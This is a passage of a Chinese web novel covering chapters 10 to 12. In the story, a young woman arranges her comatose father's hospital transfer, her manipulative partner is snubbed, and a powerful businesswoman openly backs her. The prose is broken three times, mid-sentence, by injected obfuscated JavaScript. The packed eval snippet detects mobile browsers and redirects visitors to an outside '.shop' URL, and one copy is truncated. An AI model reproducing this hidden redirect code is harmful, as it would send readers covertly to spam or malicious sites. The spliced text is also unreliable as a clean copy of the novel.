10. 第 10 章 林秘书按下电梯按钮的时候,手都是抖的。 不是因为紧张,是因为兴奋。 她在荣尚集团干了六年,从行政助理一路做到沈念微的秘书,见过太多人想靠近沈总——有送花的、有堵门的、有假装偶遇的、有在年会上借着酒劲表白的。男的女的都有,沈总的反应永远只有一个:面无表情地看一眼,然后说“让安保处理”。 她跟了沈总这么多年,从没见她对任何一个人多看一眼。 今天,她不仅多看了,还看得痴了。 电梯门开了,林秘书侧身让姜诺宁先进去,自己跟着走进去,站在她侧后方,殷勤得恰到好处。 “姜女士,”她的声音比刚才在楼上又柔了三分,“需不需要我帮您安排车送?” 姜诺宁摇头,“不用麻烦了,我自己开车来的。” “那您路上注意安全,”林秘书笑着说,“今天天气不错,但下午可能有阵雨,我给您备把伞。” 姜诺宁有些不好意思,“您太客气了。” “应该的,”林秘书的语气热络,“您是沈总的客人,就是我们荣尚最尊贵的客人。” 姜诺宁礼貌地笑了笑,心里却有点纳闷。刚才上来的时候,这位秘书小姐虽然也客气,但明显是公事公办的态度。怎么这会儿跟换了个人似的? 到了一楼,林秘书亲自送她到大门口,站在台阶上,目送她走向停车场。 姜诺宁回头冲她挥了挥手,加快脚步走向自己的车。 坐进驾驶座,她忍不住从后视镜里看了一眼——林秘书还站在门口,保持着目送的姿势,脸上的笑容灿烂得像售楼中心的置业顾问。 姜诺宁收回视线,发动车子。 莫名其妙。 林秘书一直目送姜诺宁从视线里离开,思考了几秒钟,点开沈念微的对话框。 【林秘书:沈总,姜女士已经平安上车了。】 三秒后。 【沈念微:嗯。】 林秘书摸着下巴,又想了想,把刚才偷拍的那张姜诺宁的背影照片发了过去,这才把手机收好,转身走回大堂,脚步轻快得像踩在云上。 —— 医院这边,素依站在病房门口,手里端着一杯咖啡,看着走廊尽头。 她在等。 等姜诺宁回来。 姜臣的病房在VIP病区的最里面,走廊很长,灯光是暖白色的,照在大理石地面上,反射出一层柔和的光。护士站的几个人在低声聊天,偶尔有推着药车的护工经过,轱辘碾过地面,发出轻微的声响。 素依把咖啡放在窗台上,拿出手机看了一眼。 屏幕上是一个定位软件,一个小红点正缓缓移动,从CBD方向往医院这边来。 她的拇指在屏幕上摩挲了一下,然后按灭屏幕,把手机揣进口袋。 过了一会儿,走廊尽头出现了一个身影。 白色薄毛衣,深蓝色牛仔裤,头发散着,脚步匆匆。 姜诺宁手里拎着一个纸袋,是她从医院附近的面包店买的,如果素依问起来,她可以说“去妈那儿顺便买的”。 “宁宁。”素依迎上去,目光在她脸上停了一秒,然后落在她手里的纸袋上,“去哪儿了?打电话也不接。” “去妈那儿了,”姜诺宁声音尽量平稳,“她担心爸,我去陪她坐了一会儿。路上开车没听到。” 素依点了点头,没有多说什么。但姜诺宁注意到,她的目光在自己脸上停住了。 寒意从皮肤渗进骨头里。 姜诺宁甚至能感觉到那双目光在自己脸上游走,一寸一寸地,像刀刃贴着皮肤滑过。 她连呼吸都放轻了,怕任何一个微小的动作,都会被对方解读成心虚的证据。 两个人一起走进病房。 姜臣还是老样子,安静地躺着,监护仪上的波形规律地跳动着。 素依拿出一个橙子,用小刀在顶部划了一圈,慢慢地把皮剥下来,一瓣一瓣地分开,放在一个小碟子里,递到姜诺宁面前。 “吃点水果,你脸色不太好。” 姜诺宁看着那碟橙子。 她不想吃。不想吃任何素依递过来的东西。 可素依就那样盯着她。 瞳孔里没有光,黑洞洞的,深不见底。嘴角还挂着笑,却没有任何有温度。 姜诺宁浑身僵硬,伸手拿起一瓣,放进嘴里。 素依看着她吃了,嘴角弯了一下。 病房里安静了一会儿。 素依把橙子皮收进垃圾袋里,擦了擦手,忽然开口:“宁宁,你还记得咱们以前的学姐沈念微么?” 姜诺宁的手指在膝盖上猛地收紧了一下。 “沈念微?”她装作回忆的样子,声音控制得恰到好处,“商学院的?” “对,”素依把垃圾袋扎好口,放在地上,语气随意得像在聊天气,“比咱们高一届,在学校的时候就很出名。” 姜诺宁点了点头,“记得,怎么了?” 素依靠在床头柜上,双手插在风衣口袋里,表情淡淡的。 “听说她现在混得不错,沈氏集团的继承人,荣尚医疗板块的负责人。” 她顿了顿,嘴角弯了一下,但那笑容里没有温度。 “不过圈子里的人都知道,她能坐到这个位置,靠的可不是什么真本事。” 姜诺宁没接话,只是听着。 素依的声音压得更低了,像是在分享一个不为人知的秘密。 “沈家不止她一个女儿,她底下还有个妹妹,同父异母的,比她小五岁。她妈走得早,她爸后来又娶了一个,那个继母可不是省油的灯,一直想把亲生女儿推上去。沈念微能坐稳这个位置,你知道她做了什么?” 素依的目光在姜诺宁脸上扫了一下,像是在确认她有没有在听。 “她明明该出国留学的,却不知道因为什么原因留下了,而她那个妹妹,却被送出国念书,说是‘深造’,可圈子里的人都知道,是她动的手脚,把妹妹的丑事捅到老爷子面前,逼得老爷子不得不把人送走,省得在家里争权夺势。” 她的语气轻飘飘的,“亲妹妹都容不下,你说这种人,心有多狠?” “而且我听说,她接手医疗板块之后,第一件事就是把跟了她爸十几年的老臣子全换了。一个不留。那些人可都是看着她长大的。你说这种人,眼里还有什么人情?还有什么情分?” 她顿了顿,声音更低了,“跟这种人打交道,你永远不知道自己什么时候会被当成弃子。” “你说是不是?” 素依漆黑的眸子盯着姜诺宁,姜诺宁迎上她的目光。 “我不太了解她,”姜诺宁声音平稳,“但还是不要随意评价别人的好。” 素依盯着她看了两秒,然后笑了。 “是啊,”她说,“我们不随意评价,过好自己的日子就行,不用去攀那种高枝。” 她伸手揉了揉姜诺宁的头发,动作亲昵而自然。 “你呢,也别想太多。爸的事有我在,公司的事也有我在。你就安安心心的,做你喜欢的事就好。” 姜诺宁的睫毛垂下来,遮住了眼底所有的情绪。 “嗯,”她轻声应了一下,声音软软的,乖乖的。 素依的笑容加深了,那只手从发顶滑到发尾,指尖绕了一缕头发开。 姜诺宁抬起头,像是突然想起来什么,“对了,妈那边联系好医院了。” 素依的手顿了一下。 “私立的那家,仁和医院,”姜诺宁说,“心脑血管专科很强,妈找了熟人,说是可以安排转院。” 她说这些话的时候,看着素依的脸。 素依迟疑了几秒钟,“仁和?”她点了点头,“那家医院我知道,确实不错。阿姨找了谁?关系硬吗?” “她一个老姐妹介绍的,具体我没细问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387993|200288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”姜诺宁说,“妈说那边已经安排好了,一会儿就能转。” 素依沉默了一会儿。 那几秒的沉默里,姜诺宁听见监护仪“嘀——嘀——”的声音,听见走廊里护士推车经过的轱辘声,听见自己的心跳声。 然后素依点了点头,她语气里带着欣慰,还有一丝恰到好处的感慨,“我们宁宁成长了,以前什么事都要我操心的。” 她轻轻拍了拍姜诺宁的手背。 “不过,”她的声音温温柔柔的,“转院这么大的事,妈那边一个人张罗,我总归是不放心。毕竟爸在美和住了这么多天,主治医生也熟悉情况,突然转院,有些衔接上的事情,还是得我出面打个招呼。” 她看着姜诺宁的眼睛,目光柔和得像一汪水,“我给赵副院长打个电话,让他配合一下,别到时候救护车来了,手续上出什么岔子。你说是不是?” 姜诺宁迎着她的目光,沉默了片刻,点了点头:“好,” 她知道没那么简单。 素依笑了笑,从口袋里拿出手机。她没有走开,就站在姜诺宁面前,当着她的面,翻到通讯录,按下了免提。 电话响了两声,接了。 “素总!”赵副院长的声音从听筒里传出来,热情得有些过分,“您好,有什么吩咐?” 素依靠在床头柜上,双手插在风衣口袋里,姿态随意。 “赵副院长,刚才宁宁告诉我说,她爸爸今天下午可能要转院。仁和那边已经安排了救护车,一会儿就到。” 她的目光落在姜诺宁脸上,嘴角带着一丝若有若无的笑意。 “我想问一下,姜总目前的情况,转院手续好办吗?主治医生那边,签字了没有?” 电话那头顿了一下。 素依等着赵副院长说出那句提前对好的“患者目前未达到转院指征,按照医疗规范,需要主治医生和科室主任双重确认”。她甚至能想象姜诺宁听到这句话时的表情:慌张、失望、无助。然后她会温柔地握住姜诺宁的手,说“没关系,有我在”,然后这件事就这么过去了。姜臣继续留在美和,继续在她的掌控之中。 但赵副院长沉默的时间有点长。 “赵副院长?”素依的眉毛微微挑了一下。 “素总,”赵副院长的声音变了,不再是刚才那种邀功式的殷勤,而是一种更谨慎、更小心的语气,“这个转院的事……我刚才又确认了一下。” “确认什么?” 赵副院长顿了顿,像是在斟酌措辞,“院长亲自来交代了转院事宜。” 素依的手指在口袋里微微收紧了。 “什么意思?” 赵副院长的声音压得很低,“听说一位重量级人物亲自电话叮嘱的。说姜先生是她的长辈,转院的事她要亲自盯着。还说——” 他停了一下。 “说什么?” “说她等会儿会亲自过来。” 病房里安静了一瞬。 素依握着手机的手指微微发白。 她慢慢转过头,看向姜诺宁。 姜诺宁坐在病床边的椅子上,也在看她。 两个人的目光撞在一起。 宁宁的眼里也满是惊讶,她是真的不知道怎么回事儿。 就在这时,楼下传来救护车的声音。 俩人同时转头看向窗外。 住院部楼下的停车场入口处,一辆黑色的轿车正缓缓驶入。 后座的车门被人从外面拉开。 黑色大衣,衣摆垂到小腿,被风微微扬起。 沈念微从车里出来的那一刻,周围的一切都像被按下了静音键。 楼下的保安下意识站直了身体,几个路过的家属不自觉地让开了路,连原本在台阶上抽烟的一个中年男人,都默默把烟头掐灭了 沈念微站在车边,发尾被风撩起又落下,她没有看任何人,微微抬起头,往院部的方向看了一眼。 11.第 11 章 姜诺宁一直对“沈念微的威望”没什么具体概念。 她知道沈念微厉害,是旁人嘴里“惹不起”的那种人,可“惹不起”三个字,在她心里一直只是个模糊的形容词。 直到这一刻,她才切身地感受到了。 她站在病房窗边,看见了住院部楼下的那一幕。 院长带着一群人,从门诊大楼里小跑出来。 不是走,是小跑。 院长她见过一次,是姜臣刚入院的时候。五十多岁的男人,头发花白,不苟言笑,与主治医生讨论病情时语气沉稳,字字掷地有声,严厉且有威望。 此刻,他正一路小跑着穿过停车场,白大褂的下摆被风掀起,露出里面的西装裤。他身后跟着七八个人——副院长、心内科主任、医务科科长、护理部主任,浩浩荡荡一队人,步伐急促。 他们跑到那辆黑色轿车前,停下来。 院长微微喘着气,伸出手。 沈念微从车里出来的那一刻,院长的手已经递了过去,握得结实而郑重。紧接着心内科主任上前握手,医务科科长上前握手,副院长上前握手,每个人握手时都微微躬着身。 此时此刻,姜诺宁才明白,沈念微口中“我来安排”四个字的分量,究竟有多重。 素依站在姜诺宁身后半步的位置,也在看窗外。 她的表情管理一向很好。从十几岁起,她就靠这张脸活着,该笑时笑,该哭时哭,该低头时低头,十几年如一日,从不出错。可此刻,那张脸上出现了一道裂痕。 她们看着楼下那群人簇拥着沈念微往住院楼走。很快,走廊里忽然传来一阵骚动。 声音越来越近。 姜诺宁听见护士长的声音,带着一种她从未听过的紧张:“这边,沈总,这边请。” 接着是一阵更清晰的脚步声。 笃,笃,笃。 沈念微走在最前面,步伐不紧不慢。 人群行至病房门口,她停下来,身后那十几个人也跟着停下来。 走廊里瞬间安静了。 沈念微侧过脸,声音不大:“这么多人进去不合适。病人需要静养。” 院长反应很快,立刻点了点头,回头朝身后的人摆了摆手。 “我陪沈总进去就行,”院长压低声音,“其他人外面等。” 沈念微没再说什么,抬手推开了病房门。 门开的那一刻,病房里很安静。监护仪的嘀嘀声规律地响着,输液管里的药水一滴一滴往下落。阳光从窗户照进来,在地板上铺出一片暖白色的光斑。 姜诺宁站在病床边。 听到门响,她下意识抬起头。 沈念微走进来,目光扫过病房,第一时间落在她身上。 然后微微点了一下头。 那一下很轻,算不上什么特别的示意,大概只是看见了熟人之后的礼貌性招呼。 可于姜诺宁来说,心里有什么东西被轻轻碰了一下,就好像沈念微在对她说——我来了,放心吧。 她知道不可能是这个意思。沈念微那样的人,怎么可能对一个只见了两次面的学妹说这种话? 她自己也说不清为什么。明明她们不熟……可当沈念微站在病房里时,她心里那根绷了一整天的弦,忽然就松了一下。 姜诺宁隐藏着情绪,飞快地低下头,假装整理病床边的监护仪线缆,手指碰到那些缠绕的线缆时,微微发抖。 沈念微就那样静静望着她,目光沉敛,一眨不眨。 素依没有注意到姜诺宁的异样,她的全部注意力都在门口那个人身上。 她发现沈念微走进来的瞬间,整个病房的气压都变了。像一扇门被推开,外面的冷空气涌进来,把原本闷热的房间吹得通透。院长跟在她身后,姿态恭谨,微微侧着身,小心翼翼地让出通道。 素依的眼睛亮了。 她太知道这意味着什么了。院长的恭谨、那群人的殷勤、这一整个走廊的安静,这不仅仅是“有钱”能买到的东西。这是权力的形状,是威望的实体,是她从小到大压抑自己不停地向上爬做梦都想够到却始终够不到的东西。 如果能攀上这样的人…… 这个念头从素依脑子里划过的时候,带着一种近乎本能的灼热,她把手从风衣口袋里抽出来。 沈念微在病床前站定,低头看了看昏迷的姜臣。她的目光在姜臣脸上停了几秒,然后移开,看向床头柜上的病历夹。 “病历整理好了吗?” 院长立刻上前一步:“整理好了,您放心。” 沈念微点了点头。 素依抓住这个间隙,从病床另一侧绕过来,脸上已经换上了一副恰到好处的笑容。 “学姐,”她的声音里透着一股熟稔的热络,“好久不见。我是素依,也是江城大学毕业的,比您低一届。以前在学校的时候,经常在表彰大会上看到您,今天没想到今天在这儿碰到了。” 素依顿了顿,笑容更深,目光真诚得像在望一个久别重逢的人,语气里添了一分恰到好处的感激:“这次多亏了您帮忙,不然转院的事还真不好办,真的要好好感谢您。” 滴水不漏。姿态放得低,语气亲近,既攀了关系,又表达了感谢,还不着痕迹地把自己放在了“姜家准女婿”的位置上。 她甚至故意用了“学姐”这个称呼,而不是“沈总”,前者带着校园时代的温情与分寸,后者只是冷冰冰的商业客套。 她伸出手,微笑地看着沈念微。 沈念微没有看她。 目光从她伸出的手旁边平静地滑过去,像掠过一件无关紧要的摆设,落向病床边的姜诺宁。 “情况怎么样?” 素依的手还悬在那里。 病房里安静了一瞬。 姜诺宁站了起来,说:“随时可以出发。” 素依把手收回来,动作很慢。 她知道的有钱人傲,手握权柄的人更傲,沈念微这样的人,每天有多少人排着队想递名片、攀关系、喊一声“学姐”?被晾一下算什么,太正常了。 “学姐真是大忙人,”素依笑着说,语气里带了几分恰到好处的调侃,既化解了尴尬,又显得落落大方,“今天来得突然,是我们打扰了。改天等姜叔叔情况稳定了,一定正式登门道谢。” 她说完,目光温温柔柔地落在沈念微侧脸上,姿态从容,进退有度。仿佛刚才那三秒钟的冷场,不过是这场见面里一个无伤大雅的小插曲。 然后沈念微开口了。 “你谁?” 两个字。声音不大,甚至称得上平淡。 病房里彻底安静了。 那种安静不是冷场,冷场还有回旋的余地,还有填补的空间。这是一种被一刀切下去的安静,干净利落,连空气都被劈成了两半。 所有人都看向了素依,就连门口那个端着托盘的护士,都忍不住飞快地瞟了她一眼,又飞快地把目光收回去,替她尴尬。 素依的笑容彻底碎了,感觉自己的脸被什么东西抽了一下,像被人当众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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以沈念微如今的地位权势,想要什么样的人没有?名门闺秀、世家千金、趋之若鹜的追随者,数不胜数。怎么偏偏是姜诺宁? 一股巨大的恐慌攫住了她。 等姜诺宁抱着文件匆匆下楼时,沈念微已与院长交代完毕,转身准备离开。 素依几乎是本能地冲了上去,拦住她的去路。 她强迫自己扬起得体的笑,声音刻意放软,带着刻意亲昵的口吻:“沈总,您……以前就认识宁宁吗?” “宁宁”二字,咬得格外亲近。 沈念微停下脚步。 缓缓抬眼。 只淡淡一扫,素依便觉得浑身血液都冻住了。 那目光不带任何情绪,直直穿透她所有伪装。 素依喉头发紧,手心冷汗涔涔,却还是硬着头皮,强装镇定地开口:“我一直知道学姐是我们这一届里最出色、最成功的人,……心里特别佩服,所以……想请教学姐一个问题。” 沈念微沉默着,没有应声,周身的气压低得让人窒息。 素依深吸一口气,“如果……学生时代很耀眼的东西,可已经错过了……像学姐这样身份的人,应该不会再来争抢,本就不属于自己的东西吧?” 她顿了顿,声音轻得近乎嘲讽:“更何况,她也……不再像以前那么耀眼了,不是吗?” 空气死寂。 沈念缓缓抬眸,越过素依望向病房,目光落上那道身影时,语气柔了几分,“她比以前,更耀眼了。” 素依脸色一白。 下一秒,沈念微收回目光,重新落回她身上,凝着一层淡得近乎冰冷的鄙夷,她薄唇轻启,字字诛心:“所以,我会又争又抢。” 12.第 12 章 沈念微的声音不大,语气也不重,甚至称得上平静。 可那句话落在走廊里,像一块石头砸进深潭,水花不大,涟漪却一圈一圈地荡开。 说完,她便转身离开。 自始至终,她没再看素依一眼。 素依站在原地,脸色白得像病房的墙。 失控的感觉从四面八方涌上来,像潮水漫过堤坝,无声无息,却不可阻挡。 一个和她毫无交集、和姜家毫无渊源的人,忽然从天而降,带着雷霆万钧的权势,不由分说地插进这盘棋局拨开,她没有办法不焦虑。 素依的手在风衣口袋里慢慢攥紧,指甲掐进掌心,指节泛白。 而眼下重要的是仁和医院的安保系统比她想象的严密得多。 VIP病区在住院部顶层,需要专用电梯才能到达。电梯口设了一道闸机,刷卡加指纹双重认证。 闸机旁边站着两个安保人员,制服笔挺,耳麦里塞着通讯器,目光警觉地扫视着每一个靠近的人。 素依站在闸机外面,深吸一口气。 她需要重新评估局势。 —— 姜诺宁没有注意到走廊里发生的事。她全部注意力都在手里的文件上。 转院的交接文件比她想象的多。病历摘要、检查报告、用药记录、护理评估、转院同意书、医保结算单……每一页都要她签字。她坐在病房的沙发上,一份一份地看,一字一字地读。 这一次,她每一页都看得很认真。 这时候,病房门被人轻轻推开了。 一个五十多岁的女人走进来,穿着一件深蓝色的护理服,头发盘成一个利落的髻,面容和善,眉眼间带着一种经过岁月打磨的沉稳。 “姜小姐,”她的声音不高不低,带着让人安心的沉稳,“我是沈总安排过来的看护,姓刘。您叫我刘姐就行。” 姜诺宁放下文件,站起来,“刘姐,麻烦您了。” 刘姐笑了笑,走到病床边,低头查看姜臣的情况。她的动作很轻,先是检查了输液管的流速,然后翻开姜臣的眼皮看了看瞳孔,又摸了摸他的脉搏。 “心率平稳,呼吸也正常,”她转过身来,对姜诺宁说,“方医生那边我已经沟通过了,治疗方案要等明天的检查结果出来才能定。今晚我会守在这儿,您放心回去休息。” 姜诺宁没有接话。 她站在病床边,目光落在刘姐脸上,看了几秒。 沈念微帮了她很多。转院、专家、看护,每一样都安排得妥妥当当,妥当她挑不出任何毛病。可她还是不放心。 她已经是惊弓之鸟不敢相信任何人了。 她没有离开。 中午的时候,手机震了一下。 素依:【宁宁,医院那边我进不去,我先去妈家看看她。她一个人我不放心。你那边有什么需要随时跟我说。】 姜诺宁看着那条消息,心猛地跳了一下。 去妈家。 上一世,妈妈就是被素依和徐媛媛联手刺激到心脏骤停的。她不知道这一世的轨迹会不会重演,也不知道素依现在去妈家到底是真的关心,还是另有所图。 姜诺宁抬起头,看着病床上的姜臣。 她现在冒然跟妈妈把一切说明,徐莉一定受不了,可如果不说,她妈对素依一直信任,很容易出问题,权衡再三,她还是拨了电话过去。 电话很快就被接起。 “宁宁?”徐莉的声音从听筒里传来,带着一丝惊讶,“怎么了?是不是你爸——” “妈,”姜诺宁打断了她,声音有些哑,“你听我说。” 她深吸一口气。 “素依给你的东西,不管是吃的、喝的、用的,还是什么保健品、补品、药材,收了后统统不要用。” 电话那头沉默了。 姜诺宁能听见妈妈的呼吸声,一深一浅,像在消化这些话的分量。 “宁宁,”徐莉终于开口了,声音压得很低,“你和素依……怎么了?” 姜诺宁闭上眼睛。她不知道怎么跟妈妈说。说她发现素依出轨了?说她怀疑素依在爸爸的医疗方案上动了手脚?说她怀疑素依一直在骗她、利用她、算计她?说她是重生回来的,亲眼听见妈妈死亡的消息? “妈,”她的声音很轻,“你信我吗?” 电话那头又沉默了。 这一次沉默的时间更长,然后徐莉开口了。 “信。” 姜诺宁的眼眶一下子就红了。 “妈,你什么都别问,”她的声音开始发抖,“等我回去。等我处理好这边的事,我回去跟你说。在这之前,不能太明显刻意,我——” “我知道,”徐莉的声音沉稳下来,“她给的东西我不碰,她来找我,我也不会表现出多大的异常。你放心照顾你爸,家里有我。” “好。” 电话挂了。 她握着手机站在窗边,看着窗外灰蒙蒙的天际线,胸口那团堵了一整天的东西终于松了一点。 她不知道妈妈会不会真的照做,也不知道素依会不会起疑心,更不知道这条路走下去等着她的是什么。但她至少迈出了第一步。 —— 照顾病人比姜诺宁想象的要辛苦得多。 她从小被保护得太好,没吃过什么苦。小时候有尹姨,长大了有素依,她连自己的一日三餐都不用操心,更别说伺候人了。可现在,她一个人守在医院里,什么都得自己来。 刘姐教得很耐心。 “翻身的时候手放这儿,对,用大腿的力量,别用腰。一二三——你看,这不就好了。” 姜诺宁照着做了一遍,果然轻松了许多。她抬起头,冲刘姐不好意思地笑了一下,“谢谢刘姐。” 刘姐摆了摆手。 擦身、换药、记录出入量、观察监护仪上的数值变化——每一样都是刘姐教一遍,她跟着做一遍。做错了就重来,记不住就拿手机记下来,备忘录里密密麻麻写了好几页。 她的手不像刘姐那么稳,有时候会抖。给姜臣擦脸的时候,毛巾的水拧不干净,水滴顺着爸爸的鬓角淌进耳朵里,她又慌慌张张地拿棉签去擦。刘姐站在旁边看着,没有插手,只是偶尔提点一句。 到了中午,姜诺宁已经能独立完成基本的护理操作了。动作虽然还比不上刘姐那么行云流水,但已经有模有样。 刘姐站在门口,看着她弯着腰给姜臣换输液贴的背影,心里轻轻叹一口气。这姑娘一看就是没吃过苦的,手指又细又白,腕骨凸出来一小截,瘦得像随时会折断。可她现在蹲在地上,认认真真地研究引流管的流速,眉心微微蹙着,嘴唇抿成一条线,非常的认真。 午饭时间,刘姐去医院食堂打了饭回来。不锈钢餐盘里分了三格,一格米饭,一格炒青菜,一格豆腐汤。医院的饭就这些,清淡得没滋没味。 “姜小姐,要不要吃点?”她把餐盘放在茶几上,回头问了一句。 姜诺宁头也没抬,“不了,刘姐您吃吧,我不饿。” 她说着站起来,把手里的护理手册合上,放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395599|200288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在椅子里,往门口走。刘姐端着筷子正要坐下,见她往外走,下意识要开口,姜诺宁已经先说了:“我去走廊站一会儿,您慢慢吃,不着急。” 刘姐张了张嘴,到底没说什么,目送她出去,轻轻叹了口气。 姜诺宁在走廊里站定,双手撑着窗台,仰起头活动了一下僵硬的脖颈。颈椎咔吧响了两声,她皱了皱眉,转了转脖子,视线无意间往楼下一扫—— 住院部楼下的小广场上,稀稀落落有几个病人家属在散步。花坛边上坐着一个晒太阳的老太太,推着轮椅的中年男人在打电话,角落里停着几辆车。 她漫无目的地的目光突然顿住了。 一辆深灰色的奥迪,停在花坛旁边的临时车位上,不显眼,低调得很。可车旁边站着的那个人太过耀眼,黑色大衣,衣摆垂到小腿,被风微微撩起一角,头发散下来,垂在肩侧,发尾被风吹得有些凌乱。她侧对着住院部的大门,微微仰着头,不知道在看什么。 姜诺宁眯起眼睛,盯着那个侧影看了好几秒。 她确定自己没有看错。 心跳忽然快了一拍。 她转身快步往电梯走。 —— 楼下,林秘书正站在车旁边,双手插在大衣口袋里,缩着脖子,瑟瑟发抖。 这个时间的江城,风还是冷的。尤其是医院这种空旷的地方,风从四面八方灌过来,没有任何遮挡,吹得她耳朵尖都红了。她偷偷看了一眼站在两步之外的沈念微,在心里默默叹了口气。 这位祖宗上午处理完手里的工作,连口水都没喝,就说要出来。林秘书以为是什么重要的商务行程,还特意确认了一下行程表,什么都没有,还特意叮嘱换了一辆低调得不能再低调的奥迪。 到了之后,不下车,隔着挡风玻璃,看着住院部的大门,看了整整二十分钟。然后下车了,站在花坛旁边,继续看。 不打电活了,不发消息,不找人,就那么站着。 林秘书实在忍不住,小心翼翼地问了一句:“沈总,要不要我上去——” “不用。” 林秘书立即闭上了嘴,缩着脖子继续吹冷风,在心里疯狂吐槽:沈总啊沈总,您这样站一下午,人家能知道吗?您这是守株待兔呢?这兔子能自己撞下来吗?您哪怕发个消息说“我在楼下”呢?就算不发消息,您这身份站在这儿,被人看见了像什么话啊—— 她的吐槽刚进行到一半,余光忽然瞥见沈念微动了一下。 很细微的动作,像是整个人忽然被什么东西轻轻拨了一下。 林秘书正疑惑,看着沈念微,正要问“沈总,怎么了?”。 沈念微突然飞快地转过身来,对着车玻璃整理了一下耳边吹乱的碎发,声音压得很低,“我的妆怎么样?” 林秘书:…… 她张了张嘴,脑子一片空白。 “很好,”林秘书的声音有点发飘,“特别好。” 她住院部大门的方向扫了一眼,一个穿着白色薄毛衣的女孩正快步从台阶上走下来,头发扎起来了,露出一截白皙的脖颈。她的步子很快,走到台阶下面的时候停了一下,往四周看了看,像是在找什么。 然后她的目光定住了,定在沈总的身上。 沈念微立即转过身去,假装看风景。 她的大衣领子竖起来,严严实实地遮住了半张脸,却遮不住那对红得几乎透明的耳朵,仿佛被人用手指轻轻弹了一下,薄薄的粉色一下子从耳垂漾开来,一路漫到耳廓,在午后的光线里透出软软的弧度。